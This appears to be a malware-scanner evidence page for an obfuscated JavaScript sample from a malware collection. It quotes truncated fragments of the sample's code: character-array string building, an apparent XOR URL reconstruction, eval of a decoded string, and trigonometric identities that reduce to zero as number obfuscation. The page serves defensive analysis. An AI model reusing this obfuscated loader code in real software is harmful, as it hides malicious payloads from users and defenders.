Suspicious 80% javascript-malware-collection Download

20151216_14ec26d74b52f4c0ae58a5183ff88933.js

Obfuscated C2 XOR eval

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256079c8912d2990941735afa1dd385416846e994e04ffca977e359def74e7b0297

Evidence

Builds characters with String.fromCharCode line 2
2:162… 'j','=','-','h','h','K','W','E',' ','B',';','W','U',')','"','W',String.fromCharCode(10),'W','G','?','z',')','F','5','=','I','D','I',String.fromCharCode(13),'4','D','W','y','R','^','!','(','_','A','J','.','3','d','M',',','K','.','j','F','j','p','(','d','W','^','6','Y','E','&','=','c','^','-','%',')','s','6','g',' ','4','G','I','E',']',']','Z','k','Y','@','E','<','<','E','a','{','z','$ …
XOR URL reconstruction call line 2
2:770… 'm','i','%','$','A','e','%','#','T','+','r','+','&','U','Y','l',String.fromCharCode(39),'.','*','F','(','%','#','e','u','s','d','T','r',')','w','*','7','h','f','h','y','^','+','+',')','Z',',','`','y','!','-','Q','N','s','&','m','H','.','&','(','/',')','X','f','U','y','5','0',']','H','9','^','1','1 …
Calls JavaScript toString conversion method lines 4–7
4:44… UQcXxS){ZEhj=hyRtOUhXQEnbcaLQQ(OZryORJpcdz,WOlmSzgMFgedH);dsigp=ZEhj.toString(ZCUQcXxS);return dsigp;}
5function TiVjWYonqVGOeos(OnHeMcdQCaxUyvvCx,RbBxeyQphQlwSSBOwlUnvtAWwpwxOSGOBD,DDbBLDLVESvZLhRfNSBhbwgRTshEGcVPawo){eval(OnHeMcdQCaxUyvvCx);}
6function AQVayelNsgQYQswniybOndwlJjHkWHCbKDdLKvHrqRzYuJHlGYFJvW(LBdfdIKEyveOA,GWXRNFeocRmRjJ){ return pXNWmJc[fLaZXnzo[COjKY(LBdfdIKEyveOA[GWXRNFeocRmRjJ],(14010+270)/510,(2826+614)/344)]];}
7function FtlVZZr(tAzeLExIVmnftvpuOnIXQsrudoOAzQNVIekx) {return !DbePfZdEyoo(ZYdZuhzCaJNQHjI(tAzeLExIVmnftvpuOnIXQsrud …
Dense indexed short-token grid lines 12–13
12:33… poFNSWu,ENArYFKCiWW) {abBrhHEooydSmT[aNlTcwpoFNSWu]=ENArYFKCiWW;}
13var C = new Array();C[0]=[];C[0][0]='d';C[0][1]='a';C[0][2]='d';C[0][3]='a';C[0][4]='46';C[0][5]='3d';C[0][6]='42';C[0][7]='14';C[0][8]='2p';C[0][9]='14';C[0][10]='25';C[0][11]='14';C[0][12]='16';C[0][13]='47';C[0][14]='3k';C[0][15]='3d';C[0][16]='44';C[0][17]='3g';C[0][18]='3l';C[0][19]='3g';C[0][20]='49';C[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],C[4],C[5]];
20var idSVhPNjN=[];
21function qkMvejcpdGlNLrobA(dZGwC){yHHlgBAyNJd= '';DahHEGfMAba=Math.round((Math.pow(Math.sin(357), 2) + Math.pow(Math.cos(357), 2) - 1));while(true){if (DahHEGfMAba >= (528+822)/225){break;}idSVhPNjN[DahHEGfMAba]=Math.round((Math.pow(Math.sin(475), 2) + Math.pow(Math.cos(475), 2) - 1)); while(true) { if(idSVhPNjN[DahHEGfMAba] > dZGwC[DahHEGfMAba].length-(-252+475)/223) { break; } if (FtlVZZr(COjKY(dZGwC[DahHEGfMAba][idSVhPNjN[DahHEGfMAba]],(12946+690)/487,(8326+364)/869))) {yHHlgBAyNJd += AQVayelNsgQYQswniybOndwlJjHkWHCbKDdLKvHrqRzYuJHlGYFJvW([dZGwC[DahHEGfMAba][idSVhPNjN[DahHEGfMAba]]], Math.round((Math.pow(Math.sin(451), 2) + Math.pow(Math.cos(451), 2) - 1)));} idSVhPNjN[DahHEGfMAba]++;}DahHEGfMAba++;} return yHHlgBAyNJd}
22var UZjjuINQHmIueEPvfaRslgmMUFkzjaptj = 'rGdZmJsCecxLZZHSORsMQndELYcDYOJSHRzA';var fJMbzbBhVnIcIHNIbJGJqsmGsLueuJsq = 'PcBNbFvqeEdhyrGEALmeuduDdoDyLhsSHpvM';TiVjWYonqVGOeos(qkMvejcpdGlNLrobA(dZGwC),UZjjuINQHmIueEPvfaRslgmMUFkzjaptj,fJMbzbBhVnIcIHNIbJGJqsmGsLueuJsq);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.